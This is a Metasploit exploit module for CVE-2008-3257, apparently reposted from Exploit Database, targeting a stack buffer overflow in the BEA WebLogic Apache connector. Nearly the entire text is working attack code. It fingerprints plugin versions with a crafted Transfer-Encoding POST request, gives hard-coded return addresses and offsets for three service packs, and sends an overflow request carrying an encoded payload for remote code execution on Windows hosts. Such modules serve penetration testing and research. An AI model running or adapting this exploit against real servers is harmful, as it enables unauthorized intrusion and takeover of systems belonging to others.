Oracle Weblogic Apache Connector – POST Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2012-05-19
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18897/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	HttpFingerprint = { :pattern => [ /Apache/ ] }
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Oracle Weblogic Apache Connector POST Request Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack based buffer overflow in the BEA
  				Weblogic Apache plugin.
  
  				The connector fails to properly handle specially crafted HTTP POST
  				requests, resulting a buffer overflow due to the insecure usage
  				of sprintf.Currently, this module works over Windows systems without DEP,
  				and has been tested with Windows 2000 / XP.
  
  				In addition, the Weblogic Apache plugin version is fingerprinted with a POST
  				request containing a specially crafted Transfer-Encoding header.
  			},
  			'Author' =>
  				[
  					'KingCope', # Vulnerability Discovery and PoC
  					'juan vazquez', # Metasploit Module
  				],
  			'Version'=> '$Revision: $',
  			'References' =>
  				[
  					[ 'CVE', '2008-3257' ],
  					[ 'OSVDB', '47096' ],
  					[ 'BID', '30273' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Privileged' => true,
  			'Platform' => 'win',
  			'Payload'=>
  				{
  					'Space'=> 4000,
  					'BadChars' => "\x00\x0d\x0a\x3f"
  				},
  			'Targets'=>
  				[
  					[ 'Automatic', {} ],
  					['BEA WebLogic 8.1 SP6 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
  						{
  							'Ret' => 0x10061f63, # push esp # ret # mod_wl_20.so
  							'Offset' =>4102
  						}
  					],
  					['BEA WebLogic 8.1 SP5 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
  						{
  							'Ret' => 0x10061473, # push esp # ret # mod_wl_20.so
  							'Offset' =>4102
  						}
  					],
  					['BEA WebLogic 8.1 SP4 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
  						{
  							'Ret' => 0x10020e31, # push esp # ret # mod_wl_20.so
  							'Offset' =>4102
  						}
  					]
  				],
  			'DisclosureDate' => 'Jul 17 2008',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('TARGETURI', [true, 'The URI path to a jsp or object provided by Weblogic', '/index.jsp']),
  			], self.class)
  
  	end
  
  
  	def check
  
  		fingerprint = fingerprint_mod_wl
  
  		case fingerprint
  		when /Version found/
  			return Exploit::CheckCode::Vulnerable
  		when /BEA WebLogic connector vulnerable/
  			return Exploit::CheckCode::Appears
  		when /BEA WebLogic connector undefined/
  			return Exploit::CheckCode::Detected
  		when /BEA WebLogic connector no vulnerable/, /BEA WebLogic connector not found/
  			return Exploit::CheckCode::Safe
  		end
  
  	end
  
  	def exploit
  
  		# Autodetect BEA mod_wl version
  		my_target = get_target
  
  		# Avoid the attack if the victim doesn't have the same setup we're targeting
  		if my_target.nil?
  			print_error("BEA mod_weblogic not supported")
  			return
  		end
  
  		uri = target_uri.path
  		sploit = rand_text_alphanumeric(my_target['Offset']-uri.length)
  		sploit << [my_target.ret].pack("V")
  		sploit << payload.encoded
  
  		send_request_cgi({
  			'method'=> 'POST',
  			'uri' => "#{uri} #{sploit}",
  		})
  
  		handler
  
  	end
  
  	def get_target
  
  		return target if target.name != 'Automatic'
  
  		fingerprint = fingerprint_mod_wl
  
  		case fingerprint
  		when /BEA WebLogic 8.1 SP6 - mod_wl_20.so/
  			return targets[1]
  		when /BEA WebLogic 8.1 SP5 - mod_wl_20.so/
  			return targets[2]
  		when /BEA WebLogic 8.1 SP4 - mod_wl_20.so/
  			return targets[3]
  		else
  			return nil
  		end
  
  	end
  
  	def fingerprint_mod_wl
  
  		my_data = rand_text_alpha(rand(5) + 8)
  		res = send_request_cgi(
  				{
  					'method'=> 'POST',
  					'uri' => target_uri.path,
  					'headers' =>
  						{
  							'Transfer-Encoding' => my_data
  						},
  					'data' => "#{my_data.length}\r\n#{my_data}\r\n0\r\n",
  				})
  
  		if res and res.code == 200 and res.body =~ /Weblogic Bridge Message/
  			# BEA WebLogic 8.1 SP6 - mod_wl_20.so
  			case res.body
  			when (/Build date\/time:<\/B> <I>Jun 16 2006 15:14:11/ and /Change Number:<\/B> <I>779586/)
  				return "Version found: BEA WebLogic 8.1 SP6 - mod_wl_20.so"
  			# BEA WebLogic 8.1 SP5 - mod_wl_20.so
  			when (/Build date\/time:<\/B> <I>Aug5 2005 11:19:57/ and /Change Number:<\/B> <I>616810/)
  				return "Version found: BEA WebLogic 8.1 SP5 - mod_wl_20.so"
  			when (/Build date\/time:<\/B> <I>Oct 25 2004 09:25:23/ and /Change Number:<\/B> <I>452998/)
  				return "Version found: BEA WebLogic 8.1 SP4 - mod_wl_20.so"
  			# Check for dates prior to patch release
  			when /([A-Za-z]{3} [\s\d]{2} [\d]{4})/
  				build_date = Date.parse($1)
  				if build_date <= Date.parse("Jul 28 2008")
  					return "BEA WebLogic connector vulnerable"
  				else
  					return "BEA WebLogic connector no vulnerable"
  				end
  			else
  				return "BEA WebLogic connector undefined"
  			end
  		end
  
  		return "BEA WebLogic connector not found"
  
  	end
  
  end